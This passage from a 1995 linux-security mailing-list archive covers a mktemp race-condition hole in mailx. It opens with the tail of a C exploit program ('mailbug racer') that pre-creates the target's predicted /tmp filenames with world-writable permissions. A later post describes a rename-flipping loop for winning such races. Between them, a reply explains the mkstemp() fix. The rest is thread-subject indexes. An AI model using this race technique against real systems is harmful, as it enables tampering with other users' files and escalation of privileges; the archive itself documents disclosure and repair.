printf("mailbug racer\nSyntax: %s process-id\n",argv[0]); return -1; } /* get mktemp filenames */ exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]); exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]); exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]); exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]); /* create temporary files */ creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); } From [email protected] Sat Dec 23 18:47:23 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id SAA14066; Sat, 23 Dec 1995 18:47:23 -0500 Date: Sat, 23 Dec 1995 18:29:43 -0500 From: "Theodore Ts'o" Message-Id: <[email protected]> To: [email protected] Cc: [email protected], [email protected], [email protected] In-Reply-To: David J Meltzer's message of Fri, 22 Dec 1995 17:35:01 -0500 (EST), Subject: Re: mailx-5.5 (slackware /bin/mail) security hole Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Sender: [email protected] Precedence: list My, the more things change, the more things stay the same. This is an *old*, *old*, **old** vulnerability. In fact, it's so old that BSD 4.3 (back when dinosaurs prowled the earth :-), introduced the mkstemp() call to deal with this vulnerability. int mkstemp(char *template) Works just like mktemp(), but it returns a file descriptor which is open for reading and writing. This file descriptor is guaranteed to belong to a fresly created file. mkstemp() is already in the Linux libc, for BSD compatibility --- it's just a matter of modifying existing programs to use it. It would probably be a good idea for future descriptions of this particular security problem also included the a fix for getting around this problem. Using mkstemp(), where available, is a fine way to fix the problem. If it's not available, it's not terribly hard to write a mkstemp() function, or to simply use mktemp and open the file with the O_CREAT and O_EXCL flags. Regarding the denial of service attack if there are more than 62 conflicting file names --- this sounds like a bug in mktemp() to me! It clearly should be using a better algorithm if that's all it takes to trip it up. - Ted linux-security/1995/linux-security.951226100664 1767 1767 4334 6070026104 17231 0ustar majdommajdomFrom [email protected] Tue Dec 26 12:09:23 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/$Revision: 2.7 $) id MAA15504; Tue, 26 Dec 1995 12:09:22 -0500 Message-Id: <[email protected]> Subject: Race conditions. To: [email protected] Date: Tue, 26 Dec 1995 14:15:46 +0100 (MET) From: [email protected] X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > The basic problem is that there is a race condition that exists between > the point that a program calls mktemp(), and the pathname returned by mktemp > is actually created. For some programs, the file creation is immediately > or almost immediately following the mktemp(), resulting in an extremely > small window of opportunity, and as a result making it very difficult to > exploit. However, there are other programs that do not immediately open > the file, and in these cases it is only a matter of getting the timing > right in order to exploit the hole. I'd like to educate all the linux-security-conscious people: A small time-window in which to create a file is NOT secure. The fliplink trick will yield around 25% chance of succeeding: create a program that does (the systemcall for): while (1) { mv a b mv b a } If "a" is the tmpfile, mktmp has a 50% chance of not finding anything there. mktmp will use that filename in 50% of the cases. Next the program opens the file. Now with a 50% chance of finding the "b" file there. All in all around 25% chance for success. In practice current computers can call "mktmp" and have created the tmpfile before their timeslice is over, so in practise it is still a little bit harder. Other OS's like Sunos are actually worse: The "mv" calls will perform physical IO, and suspend the flip-program. This results in a near 100% resultrate.... :-) Roger Wolff. -- *** War doesn't determine who's right ****** War determines who's left. *** ** EMail: [email protected] * Tel +31-15-2783643 or +31-15-2137459 ** *** my own homepage *** linux-security/1995/CONTENTS100664 1767 1767 55314 6246256243 14755 0ustar majdommajdom linux-security.950302: General information and test. linux-security.950305: Shadow Passwords? linux-security.950306: Re: Shadow Passwords? Re: NFS deamon can be killed by normal users. Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? NFS server Re: Shadow Passwords? Re: Shadow Passwords? Re: Sh*dow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: Shadow Passwords? Re: NFS server Pro-active passwd(1)'s Secure setup for file transfer Re: NFS server linux-security.950307: Re: Shadow Passwords? Re: Shadow Passwords? Re: Sh*dow Passwords? Re: Shadow Passwords? Re: Secure setup for file transfer Re: Sh*dow Passwords? Re: Sh*dow Passwords? Re: NFS server Re: Shadow Passwords? Re: Shadow Passwords? Re: Sh*dow Passwords? Re: NFS server Re: Sh*dow Passwords? Re: Sh*dow Passwords? Re: Secure setup for file transfer Re: Secure setup for file transfer Shadow discussions Re: Shadow Passwords? Re: Sh*dow Passwords? Re: Secure setup for file transfer Re: Sh*dow Passwords? Anyone get Sudo working w/ Shadow? Re: Secure setup for file transfer Re: Sh*dow Passwords? Re: Secure setup for file transfer Re: Shadow Passwords? linux-security.950308: Re: Secure setup for file transfer Re: Secure setup for file transfer Re: Shadow discussions Re: Shadow discussions Re: Shadow discussions ... don't forget skey Safe NFS outline Re: Anyone get Sudo working w/ Shadow? Re: Safe NFS outline Re: NFS server Re: Safe NFS outline Re: Safe NFS outline Re: Shadow discussions ... don't forget skey Re: Secure setup for file transfer Quick info. pointers for shadow stuff. Re: Secure setup for file transfer linux-security.950309: Re: Secure setup for file transfer Re: Shadow discussions ... don't forget skey Re: Shadow discussions ... don't forget skey Re: Secure setup for file transfer tty permissions Re: Safe NFS outline Re: Shadow discussions ... don't forget skey SvgaLib (was Re: Secure setup for file transfert) Re: Shadow discussions ... don't forget skey Re: tty permissions Re: tty permissions Re: SvgaLib (was Re: Secure setup for file transfert) Re: tty permissions Re: tty permissions Re: tty permissions Yet another NFS hole Re: tty permissions Re: Secure setup for file transfer Re: Secure setup for file transfer linux-security.950310: Re: SvgaLib (was Re: Secure setup for file transfert) Re: tty permissions Re: Yet another NFS hole Re: Yet another NFS hole Re: tty permissions Re: SvgaLib (was Re: Secure setup for file transfert) Re: Yet another NFS hole Re: tty permissions Re: Secure setup for file transfer Re: tty permissions Re: Safe NFS outline Re: tty permissions Re: tty permissions Re: tty permissions Re: tty permissions linux-security.950311: Re: tty permissions NFS patch Re: tty permissions "Find all the SUID programs." Fine. So which *should* be SUID? Re: NFS patch Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: NFS patch Re: "Find all the SUID programs." Fine. So which *should* be SUID? linux-security.950312: tty utilities follow up Re: Secure setup for file transfer Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? NFS spoof tool NFS Vulnerability Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Closing suid root holes Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: NFS patch linux-security.950313: Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: SECURITY: NFS Vulnerability Re: Closing suid root holes Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: Closing suid root holes Closing suid root holes Re: "Find all the SUID programs." Fine. So which *should* be SUID? /usr/local/... file placement, and vendor security quality control Re: "Find all the SUID programs." Fine. So which *should* be SUID? Re: "Find all the SUID programs." Fine. So which *should* be SUID? rsh et al.: Linux's ipfw seems to solve the practical problem. in.talkd+antiflash bsd in.talkd+antiflash remote-remote hole Re: "Find all the SUID programs." Fine. So which *should* be SUID? in.talkd+flash Re: Closing suid root holes Netscape sending unauthorized stuff? finger @ bug Re: Closing suid root holes Re: finger @ bug Re: /usr/local/... file placement, and vendor security quality control Re: SECURITY: NFS Vulnerability Oops...didn't mean to approve that last one! [was: Re: SECURITY: NFS Vulnerability] Re: SECURITY: NFS Vulnerability Re: in.talkd+flash Re: finger @ bug Re: Netscape sending unauthorized stuff? Netscape sending unauthorized stuff? Re: SECURITY: NFS Vulnerability Re: rsh et al.: Linux's ipfw seems to solve the practical problem. miscellaneous Reply-To headers. linux-security.950314: Re: finger @ bug Hey, I have a big one. XDM creates "floating" socket? Linux NFS client Re: finger @ bug linux-security.950315: Re: finger @ bug Important security fix to getpwnam.c Somebody else to report bugs to Re: Linux NFS client[ linux-security.950316: Re: finger @ bug DFN-CERT and Linux bugs (was: Somebody else to report bugs to) Re: Linux NFS client patch archive [long moderator's note attached] linux-security.950317: SSL protocol File Permission Checker linux-security.950318: DIP suid security problem GNU finger 1.37 executes ~/.fingerrc with gid root (fwd) GNU finger 1.37 executes ~/.fingerrc with gid root list of vulnerable programs Re: list of vulnerable programs linux-security.950321: List archives now available via FTP. linux-security.950322: IP firewall users: upgrade from kernel 1.2.0 to 1.2.1. shadow-3.3.1 useradd bug linux-security.950323: Skey use with Linux Re: Skey use with Linux linux-security.950324: Slackware linux-security.950326: Linux-security archive on the WWW. Re: Slackware linux-security.950403: (fwd) security hole in Yggdrasil Linux Re: security hole in Yggdrasil Linux security hole in old versions of at for Linux linux-security.950406: Report: LINUX and SATAN SATAN /etc/hosts.equiv in Slackware 2.2.0 and earlier LINUX FAQ Update (Linux and NFS) Re: LINUX FAQ Update (Linux and NFS) linux-security.950408: SATAN information Trojan in Linux Satan Binaries linux-security.950411: Serious security hole: log files Re: Serious security hole: log files linux-security.950413: Linux Security FAQ Update: Trojan in Satan Binaries useradd bug randomizing filehandles: why not use fsirand? Re: randomizing filehandles: why not use fsirand? linux-security.950414: Re: Trojan in Linux Satan Binaries linux-security.950415: NFS uid/gid map daemon linux-security.950416: HTTPD bug linux-security.950417: httpd problem - summary of replies linux-security.950419: SUDO bug Re: SUDO bug linux-security.950421: IP firewalling and security Nobody could be anybody linux-security.950422: Re: randomizing filehandles: why not use fsirand? linux-security.950424: Re: SUDO bug FYI: Current security lists' propagation. Re: IP firewalling and security IP firewalling and security Re: IP firewalling and security linux-security.950425: Mailing-list statistic-compilation utility. linux-security.950426: Satan module for Linux/AIX rlogin -froot bug linux-security.950427: LILO hole linux-security.950503: Re: LILO hole linux-security.950505: Proposal - Linux security package and howto Not just "sniffers" linux-security.950507: Re: Security problem in proc fs linux-security.950509: linux nfsd and now, back to your regularly scheduled discussion topic... linux-security.950516: Re: LILO hole CFS IP Firewalling docs? Re: Proposal - Linux security package and howto Re: Proposal - Linux security package and howto Re: linux nfsd Re: linux nfsd Explanation of sudden burst of list traffic. Re: Proposal - Linux security package and howto linux-security.950517: Securing the console of a linux system, given a secure boot linux-security.950524: switching symlinks on atrun Re: Proposal - Linux security package and howto linux-security.950525: [SUMMARY] Securing the console of a linux system, given a secure Re: Proposal - Linux security package and howto Re: switching symlinks on atrun Re: switching symlinks on atrun NFS re-export and more linux-security.950528: Should root own binaries? Re: skey + shadow-3.3.1 logins Re: switching symlinks on atrun linux-security.950529: Wu-ftpd. Re: is /usr/bin/passwd as a shell a security-hazard? linux-security.950530: Re: Wu-ftpd. Re: Wu-ftpd. linux-security.950601: Re: SECURITY: problem with some wu-ftpd-2.4 binaries wu-ftp linux-security.950602: aa-95.04 wu-ftpd misconfiguration vulnerability wu-ftpd: affected ditributions linux-security.950607: Linux Security FAQ Update#4: Washington University FTP Daemon Version 2.4 linux-security.950610: Another problem with wu-ftpd (shadow) linux-security.950612: Re: Another problem with wu-ftpd (shadow) wu.ftpd InfoMagic March 1995 Fix. linux-security.950614: wu-ftpd and /proc again linux-security.950619: Fragmentation linux-security.950620: Re: Fragmentation linux-security.950624: Details on yppasswdd hole linux-security.950625: running w/o proc fs? linux-security.950626: Re: running w/o proc fs? linux-security.950703: Hacking a site with Postscript linux-security.950704: Secure Distributed Password System? Re: Hacking a site with Postscript linux-security.950705: Re: Secure Distributed Password System? linux-security.950706: Any user can send a SIGURG to any process +:*:0:0:::/bin/false does not work. Why? Re: Secure Distributed Password System? Re: +:*:0:0:::/bin/false does not work. Why? linux-security.950707: Re: Secure Distributed Password System? Re: +:*:0:0:::/bin/false does not work. Why? Re: Exploit for Linux wu.ftpd hole [Forwarded e-mail from Stan Barber] Re: Exploit for Linux wu.ftpd hole Interesting stuff Yggdrasil Linux (mis)configuration problem Re: Secure Distributed Password System? linux-security.950711: Exploit+fix for Linux SIGURG Re: [Linux-ISP] Slackware questions (fwd) Re: [Linux-ISP] Slackware questions linux-security.950712: The FTP Bounce Attack (fwd) More on the FTP bounce attack linux-security.950713: lpr(1) bug linux-security.950716: Phrack COPS linux-security.950718: Re: [Linux-ISP] lpr(1) bug linux-security.950719: YAWTCQ Re: YAWTCQ linux-security.950721: Re: YAWTCQ linux-security.950722: Tentative fix for BSD lpr linux-security.950725: Re: Tentative fix for BSD lpr Re: Tentative fix for BSD lpr linux-security.950726: Re: YAWTCQ Re: YAWTCQ Re: YAWTCQ proc-less network tools (summary) linux-security.950727: (fwd) Re: suid root lpr Linux Security FAQ Update#5: Cipher-3.0/deslogin-1.3 and GCC 2.7.0 linux-security.950802: SECURITY ALERT: Dangerous hole in vacation v1.0. linux-security.950803: write does not clear suids bit Re: write does not clear suids bit linux-security.950807: MAP_DENYWRITE allows denial-of-service Perl guru Randal Schwartz convicted. linux-security.950808: chfn problem with Linux Linux problems (was Re: rlogin revealed) Re: SECURITY ALERT: Dangerous hole in vacation v1.0 Re: SECURITY ALERT: Dangerous hole in vacation v1.0. linux-security.950809: Re: chfn problem with Linux Re: chfn problem with Linux Re: chfn problem with Linux linux-security.950812: passwd problem Re: chfn problem with Linux Another denial-of-service... wu-ftp - visible passwords. linux-security.950814: Re: Security Problem with DOSEMU Security Problem with DOSEMU Re: wu-ftp - visible passwords. linux-security.950815: Re: wu-ftp - visible passwords. linux-security.950822: Ghostscript problem linux-security.950823: Re: Ghostscript problem IP firewalling bugs Re: Ghostscript problem Re: Ghostscript problem linux-security.950824: Re: Ghostscript problem linux-security.950828: problem with selection Re: problem with selection Re: problem with selection Re: problem with selection linux-security.950830: Final analysis of syslog threat under Linux Re: Final analysis of syslog threat under Linux linux-security.950901: Re: problem with selection XDM-AUTHORIZATION-1 Re: problem with selection Re: problem with selection selection summary Re: selection summary Re: selection summary linux-security.950902: Re: elm and /tmp/mbox.* Re: selection summary elm and /tmp/mbox.*: patch linux-security.950904: console security (was Re: problem with selection) Re: elm and /tmp/mbox.* linux-security.950905: Re: elm and /tmp/mbox.* Re: console security (was Re: problem with selection) Linux adduser security bug [Forwarded e-mail from Mark Whitis] Linux adduser security bug linux-security.950906: Re: elm and /tmp/mbox.* linux-security.950908: Re: Linux adduser security bug [Forwarded e-mail from Mark Whitis] linux-security.950911: Re: elm and /tmp/mbox.* syslog(2), libc-4.7.4: Versions confuse me. my sentence [Forwarded e-mail from Randal L. Schwartz] my sentence Re: elm and /tmp/mbox.* linux-security.950912: security hole in deliver Re: syslog(2), libc-4.7.4: Versions confuse me. Re: elm and /tmp/mbox.* Re: syslog(2), libc-4.7.4: Versions confuse me. Re: elm and /tmp/mbox.* linux-security.950917: Wher to find minicom-1.71 source routing .rhosts summary linux-security.950918: Re: source routing Re: source routing Problem with INN 1.4sec Re: elm and /tmp/mbox.* linux-security.950919: Re: source routing Re: elm and /tmp/mbox.* Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* linux-security.950920: Re: Problem with /dev/ttyp* Listening on /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* linux-security.950921: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) cron 3.0pl1-20: URGENT SECURITY FIX Re: Problem with /dev/ttyp* linux-security.950923: Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: Problem with /dev/ttyp* Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) linux-security.950924: SENDMAIL 8.7 SECURITY ALERT linux-security.950925: Re: Problem with /dev/ttyp* Re: cron 3.0pl1-20: URGENT SECURITY FIX Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) Re: console security (was Re: problem with selection)h linux-security.950927: Re: Problem with /dev/ttyp* linux-security.950928: Re: console security Re: console security (was Re: problem wi Re: Problem with /dev/ttyp* Re: console security (was Re: problem wi linux-security.950929: Re: console security (was Re: problem wi Re: Problem with /dev/ttyp* linux-security.950930: Re: console security (was Re: problem with selection)h linux-security.951001: Re: console security (was Re: problem with selection)h linux-security.951004: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! linux-security.951006: Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Kernel /proc security holes Re: (fwd) [Linux-ISP] U R G E N T!!!! S E C U R I T Y A L E R T!!!!!!! READ NOW!! Re: pop3d stuff Re: POP3 security hole (Maybe just one distribution/binary?) linux-security.951011: Re: Kernel /proc security holes Re: console security (was Re: problem wi linux-security.951012: PPP security hole? Re: console security (was Re: problem wi Re: PPP security hole? linux-security.951014: Re: console security (was Re: problem wi Re: console security (was Re: problem wi Re: console security (was Re: problem wi Re: PPP security hole? Re: PPP security hole? linux-security.951018: URGENT: Linux Security FAQ Update#7: adduser-1.0 script vulnerability linux-security.951021: mounting partitions nosuid under Slackware 3.0 Re: mounting partitions nosuid linux-security.951022: NOSUID on CD-ROMs Re: mounting partitions nosuid linux-security.951026: /var/spool/mail permissions slackware 3.0 bad hole Re: slackware 3.0 bad hole Re: /var/spool/mail permissions Re: slackware 3.0 bad hole linux-security.951027: Re: /var/spool/mail permissions mail spool Slackware ftpd wrap-up linux-security.951030: Minor security problem. linux-security.951105: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability NEW security hole in in.telnetd Telnet vulnerability: shared libraries Re: telnet vulnerability giving root access SSLtelnet patch Telnetd Security Hole telnetd shared lib hole Telnetd Environment Vulnerability telnetd shared lib hole Telnet vulnerability: shared libraries (fwd) Re: telnetd shared lib hole Re: telnetd shared lib hole linux-security.951106: Re: telnetd shared lib hole Re: telnetd shared lib hole Re: Telnetd Environment Vulnerability ld.so gaping hole. (fwd) SSLtelnet patch SSLtelnet patch Re: SSLtelnet patch linux a.out ld.so problem (fwd) Telnetd Security Hole Telnetd Security Hole Surge in list traffic, pending removal of linux-alert-digest. Re: linux a.out ld.so problem Re: BoS: Telnetd Environment Vulnerability Re: linux a.out ld.so problem linux-security.951107: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Re: double security digest vol 01 number 043 Re: Surge in list traffic, pending removal of linux-alert-digest. linux-security.951108: Re: linux a.out ld.so problem Re: linux a.out ld.so problem Re: ld.so gaping hole. Re: ld.so gaping hole. Re: linux a.out ld.so problem "Source Route Failed" anyone else? Re: ld.so gaping hole. Re: SSLtelnet patch Thread on telnet, $LD_LIBRARY_PATH security problems. Re: telnetd hole Re: telnetd shared lib hole Re: ld.so gaping hole. linux-security.951109: Another possible problem with ld.so? Re: telnetd hole Slight change in Majordomo server delivery, but don't worry... Re: Slight change in Majordomo server delivery, but don't worry... Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability ATTN! CORRECTION: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability linux-security.951110: Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Re: Fwd: CERT Advisory CA-95:14 - Telnetd Environment Vulnerability Administrative changes, notes. Administrative changes, notes. Administrative changes, notes. linux-security.951111: telnetd.95.10.23.patch telnetd.95.10.23.patch One last (hopefully!) administrative note. linux-security.951112: Re: Another possible problem with ld.so? linux-security.951113: telnetd/ld.so security hole. linux-security.951114: Mail routing (admin). linux-security.951116: New ld.so package available (fwd) linux-security.951202: CERT and wu-ftpd advisory EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE PGP key compromise. linux-security.951203: Re: CERT and wu-ftpd advisory 'ypupdated' hole, system crackers. Re: Linux/freeBSD & Firewalls for a Newbw :-) (fwd) Re: Linux/freeBSD & Firewalls for a Newbw :-) linux-security.951206: Avalon Release Re: 'ypupdated' hole, system crackers. Re: 'ypupdated' hole, system crackers. Linux Security FAQ Update#8: CERT-95:14 - Telnetd fixes for Linux Re: CERT and wu-ftpd advisory Re: 'ypupdated' hole, system crackers. linux-security.951208: Re: Avalon Release Another telnetd security problem? Re: Avalon Release linux-security.951209: Re: Avalon Release Re: Avalon Release linux-security.951210: Re: Avalon Release linux-security.951212: Possible denial of service attack Re: Avalon Release ypupdated hole Re: Possible denial of service attack linux-security.951213: Getting security tools into a mainstream distribution linux-security.951214: SECURITY: Announcing Splitvt 1.6.3 linux-security.951215: Re: Getting security tools into a mainstream distribution Re: Getting security tools into a mainstream distribution linux-security.951217: Re: Getting security tools into a mainstream distribution Re: Getting security tools into a mainstream distribution Netscape "bug" (fwd) Netscape "bug" Re: Getting security tools into a mainstream distribution linux-security.951218: ADMIN: Posts on crypto stuff in Linux distributions linux-security.951219: Re: Netscape "bug" (fwd) Re: Getting security tools into a mainstream distribution Just wondering about timing and IPng. linux-security.951220: New beta release of the shadow suite (fwd) CERT Vendor-Initiated Bulletin VB-95:10 - Vulnerability in elm 2.4 (fwd) CERT Vendor-Initiated Bulletin VB-95:10 - Vulnerability in elm 2.4 linux-security.951223: mailx-5.5 (slackware /bin/mail) security hole Re: mailx-5.5 (slackware /bin/mail) security hole linux-security.951226: Race conditions. linux-security/1995/TOPICS100664 1767 1767 52737 6246256243 14527 0ustar majdommajdom"Find all the SUID programs." Fine. ... linux-security.950311, linux-security.950312, linux-security.950313 "Find all the SUID programs." Fine. S... linux-security.950311, linux-security.950312, linux-security.950313 "Source Route Failed" anyone else? linux-security.951108 'ypupdated' hole, system crackers. linux-security.951203, linux-security.951206 (fwd) [Linux-ISP] U R G E N T!!!! S... linux-security.951004 (fwd) [Linux-ISP] U R G E N T!!!! S E... linux-security.951004, linux-security.951006 (fwd) CERT Vendor-Initiated Bulletin ... linux-security.951220 (fwd) Re: suid root lpr linux-security.950727 (fwd) security hole in Yggdrasil Linux linux-security.950403 (fwd) SSLtelnet patch linux-security.951106 (fwd) Telnetd Security Hole linux-security.951106 +:*:0:0:::/bin/false does not work. Why? linux-security.950706, linux-security.950707 .rhosts summary linux-security.950917 /etc/hosts.equiv in Slackware 2.2.0 a... linux-security.950406 /usr/local/... file placement, and ve... linux-security.950313 /var/spool/mail permissions linux-security.951026, linux-security.951027 [Linux-ISP] lpr(1) bug linux-security.950718 [Linux-ISP] Slackware questions linux-security.950711 [Linux-ISP] Slackware questions (fwd) linux-security.950711 [Linux-ISP] U R G E N T!!!! S E C U... linux-security.951004 [SUMMARY] Securing the console of a l... linux-security.950525 aa-95.04 wu-ftpd misconfiguration vul... linux-security.950602 ADMIN: Posts on crypto stuff in Linux... linux-security.951218 Administrative changes, notes. linux-security.951110 and now, back to your regularly sched... linux-security.950509 Another denial-of-service... linux-security.950812 Another possible problem with ld.so? linux-security.951109, linux-security.951112 Another problem with wu-ftpd (shadow) linux-security.950610, linux-security.950612 Another telnetd security problem? linux-security.951208 Anyone get Sudo working w/ Shadow? linux-security.950307, linux-security.950308 Any user can send a SIGURG to any pro... linux-security.950706 ATTN! CORRECTION: Re: Fwd: CERT Advis... linux-security.951109 Avalon Release linux-security.951206, linux-security.951208, linux-security.951209, linux-security.951210, linux-security.951212 BoS: Telnetd Environment Vulnerability linux-security.951106 bsd in.talkd+antiflash remote-remote ... linux-security.950313 CERT and wu-ftpd advisory linux-security.951202, linux-security.951203, linux-security.951206 CERT Vendor-Initiated Bulletin VB-95:... linux-security.951220 CFS linux-security.950516 chfn problem with Linux linux-security.950808, linux-security.950809, linux-security.950812 Closing suid root holes linux-security.950312, linux-security.950313 console security linux-security.950928 console security (was Re: problem wi linux-security.950928, linux-security.950929, linux-security.951011, linux-security.951012, linux-security.951014 console security (was Re: problem wit... linux-security.950904, linux-security.950905, linux-security.950925, linux-security.950930, linux-security.951001 COPS linux-security.950716 cron 3.0pl1-20: URGENT SECURITY FIX linux-security.950921, linux-security.950925 cron 3.0pl1-20: URGENT SECURITY FIX (... linux-security.950921, linux-security.950923, linux-security.950925 Details on yppasswdd hole linux-security.950624 DFN-CERT and Linux bugs (was: Somebod... linux-security.950316 DIP suid security problem linux-security.950318 double security digest vol 01 number 043 linux-security.951107 elm and /tmp/mbox.* linux-security.950902, linux-security.950904, linux-security.950905, linux-security.950906, linux-security.950911, linux-security.950912, linux-security.950918, linux-security.950919 elm and /tmp/mbox.*: patch linux-security.950902 EMERGENCY LINUX SECURITY FAQ UPDATE: ... linux-security.951202 Explanation of sudden burst of list t... linux-security.950516 Exploit+fix for Linux SIGURG linux-security.950711 Exploit for Linux wu.ftpd hole linux-security.950707 Exploit for Linux wu.ftpd hole [Forwa... linux-security.950707 File Permission Checker linux-security.950317 Final analysis of syslog threat under... linux-security.950830 finger @ bug linux-security.950313, linux-security.950314, linux-security.950315, linux-security.950316 Fragmentation linux-security.950619, linux-security.950620 Fwd: CERT Advisory CA-95:14 - Telnetd... linux-security.951105, linux-security.951107, linux-security.951109, linux-security.951110 FYI: Current security lists' propagat... linux-security.950424 General information and test. linux-security.950302 Getting security tools into a mainstr... linux-security.951213, linux-security.951215, linux-security.951217, linux-security.951219 Ghostscript problem linux-security.950822, linux-security.950823, linux-security.950824 GNU finger 1.37 executes ~/.fingerrc ... linux-security.950318 Hacking a site with Postscript linux-security.950703, linux-security.950704 Hey, I have a big one. linux-security.950314 HTTPD bug linux-security.950416 httpd problem - summary of replies linux-security.950417 Important security fix to getpwnam.c linux-security.950315 in.talkd+antiflash linux-security.950313 in.talkd+flash linux-security.950313 Interesting stuff linux-security.950707 IP firewalling and security linux-security.950421, linux-security.950424 IP firewalling bugs linux-security.950823 IP Firewalling docs? linux-security.950516 IP firewall users: upgrade from kerne... linux-security.950322 is /usr/bin/passwd as a shell a secur... linux-security.950529 Just wondering about timing and IPng. linux-security.951219 Kernel /proc security holes linux-security.951006, linux-security.951011 ld.so gaping hole. linux-security.951106, linux-security.951108 LILO hole linux-security.950427, linux-security.950503, linux-security.950516 Linux-security archive on the WWW. linux-security.950326 Linux/freeBSD & Firewalls for a Newbw... linux-security.951203 linux a.out ld.so problem linux-security.951106, linux-security.951108 Linux adduser security bug linux-security.950905 Linux adduser security bug [Forwarded... linux-security.950905, linux-security.950908 LINUX FAQ Update (Linux and NFS) linux-security.950406 Linux NFS client linux-security.950314, linux-security.950316 Linux NFS client[ linux-security.950315 linux nfsd linux-security.950509, linux-security.950516 Linux problems (was Re: rlogin revealed) linux-security.950808 Linux Security FAQ Update#4: Washingt... linux-security.950607 Linux Security FAQ Update#5: Cipher-3... linux-security.950727 Linux Security FAQ Update#8: CERT-95:... linux-security.951206 Linux Security FAQ Update: Trojan in ... linux-security.950413 List archives now available via FTP. linux-security.950321 Listening on /dev/ttyp* linux-security.950920 list of vulnerable programs linux-security.950318 lpr(1) bug linux-security.950713 Mailing-list statistic-compilation ut... linux-security.950425 Mail routing (admin). linux-security.951114 mail spool linux-security.951027 mailx-5.5 (slackware /bin/mail) secur... linux-security.951223 MAP_DENYWRITE allows denial-of-service linux-security.950807 Minor security problem. linux-security.951030 miscellaneous linux-security.950313 More on the FTP bounce attack linux-security.950712 mounting partitions nosuid linux-security.951021, linux-security.951022 mounting partitions nosuid under Sla... linux-security.951021 my sentence linux-security.950911 my sentence [Forwarded e-mail from Ra... linux-security.950911 Netscape "bug" linux-security.951217 Netscape "bug" (fwd) linux-security.951217, linux-security.951219 Netscape sending unauthorized stuff? linux-security.950313 New beta release of the shadow suite linux-security.951220 New ld.so package available (fwd) linux-security.951116 NEW security hole in in.telnetd linux-security.951105 NFS deamon can be killed by normal us... linux-security.950306 NFS patch linux-security.950311, linux-security.950312 NFS re-export and more linux-security.950525 NFS server linux-security.950306, linux-security.950307, linux-security.950308 NFS spoof tool linux-security.950312 NFS uid/gid map daemon linux-security.950415 NFS Vulnerability linux-security.950312 Nobody could be anybody linux-security.950421 NOSUID on CD-ROMs linux-security.951022 Not just "sniffers" linux-security.950505 One last (hopefully!) administrative ... linux-security.951111 Oops...didn't mean to approve that la... linux-security.950313 passwd problem linux-security.950812 patch archive [long moderator's note ... linux-security.950316 Perl guru Randal Schwartz convicted. linux-security.950807 PGP key compromise. linux-security.951202 Phrack linux-security.950716 pop3d stuff linux-security.951006 POP3 security hole (Maybe just one di... linux-security.951006 Possible denial of service attack linux-security.951212 PPP security hole? linux-security.951012, linux-security.951014 Pro-active passwd(1)'s linux-security.950306 Problem with /dev/ttyp* linux-security.950919, linux-security.950920, linux-security.950921, linux-security.950923, linux-security.950925, linux-security.950927, linux-security.950928, linux-security.950929 Problem with INN 1.4sec linux-security.950918 problem with selection linux-security.950828, linux-security.950901 proc-less network tools (summary) linux-security.950726 Proposal - Linux security package and... linux-security.950505, linux-security.950516, linux-security.950524, linux-security.950525 Quick info. pointers for shadow stuff. linux-security.950308 Race conditions. 